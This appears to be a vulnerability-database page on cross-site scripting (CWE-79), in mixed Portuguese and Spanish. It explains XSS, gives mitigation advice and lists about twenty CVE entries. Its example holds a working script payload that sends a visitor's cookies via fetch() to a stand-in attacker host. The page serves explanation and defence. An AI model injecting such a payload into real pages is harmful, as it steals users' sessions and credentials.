Fallos del tipo CWE-79

30.593 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-66420MEDIUMTryton sao (aka tryton-sao) before 7.6.9 allows XSS via an HTML attachment. This is fixed in 7.6.9, 7.4.19, 7.0.38, and 6.0.67.EPSS 0.2%CVE-2026-12459MEDIUMInappropriate implementation in Serial in Google Chrome prior to 149.0.7827.155 allowed a remote attacker to inject arbitrary scripts or HTMEPSS 0.2%CVE-2026-1569MEDIUMWueen <= 0.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's ShortcodeEPSS 0.2%CVE-2025-65134MEDIUMIn manikandan580 School-management-system 1.0, a reflected cross-site scripting (XSS) vulnerability exists in /studentms/admin/contact-us.phEPSS 0.2%CVE-2024-53735HIGHWordPress iPhone Webclip Manager plugin <= 0.5 - CSRF to Stored XSS vulnerabilityEPSS 0.2%CVE-2026-8885MEDIUMDeMomentSomTres Shortcodes <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-0618MEDIUMCross-site Scripting vulnerability in Devolutions PowerShell Universal.This issue affects Powershell Universal: before 4.5.6, before 5.6.13.EPSS 0.2%CVE-2026-41467MEDIUMProjeQtor < 12.4.4 Stored XSS via checkValidFileName()EPSS 0.2%CVE-2026-37216MEDIUMRuoyi 4.8.2 is vulnerable to Cross Site Scripting (XSS) at the interface /system/notice/add.EPSS 0.2%CVE-2026-114538HIGHBootstrap - Moderately critical - Cross-site scripting - SA-CONTRIB-2026-236EPSS 0.2%CVE-2025-13196MEDIUMElement Pack Addons for Elementor <= 8.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Open Street Map widgetEPSS 0.2%CVE-2026-114525HIGHABC - Critical - Cross-site scripting - SA-CONTRIB-2026-224EPSS 0.2%CVE-2025-1794MEDIUMAM LottiePlayer <= 3.6.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVGEPSS 0.2%CVE-2026-62082HIGHWordPress Pin WP theme <= 7.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-42210HIGHHCL Unica Marketing Operations v12.1.8 and lower is affected by a Stored cross-site scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-114528HIGHZero Point - Critical - Cross-site scripting - SA-CONTRIB-2026-222EPSS 0.2%CVE-2026-30563MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in tEPSS 0.2%CVE-2026-119488HIGHWordPress Pie Register plugin <= 3.8.4.15 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-14449MEDIUMBA Book Everything <= 1.8.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via babe-search-form ShortcodeEPSS 0.2%CVE-2025-13740MEDIUMLightweight Accordion <= 1.5.20 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%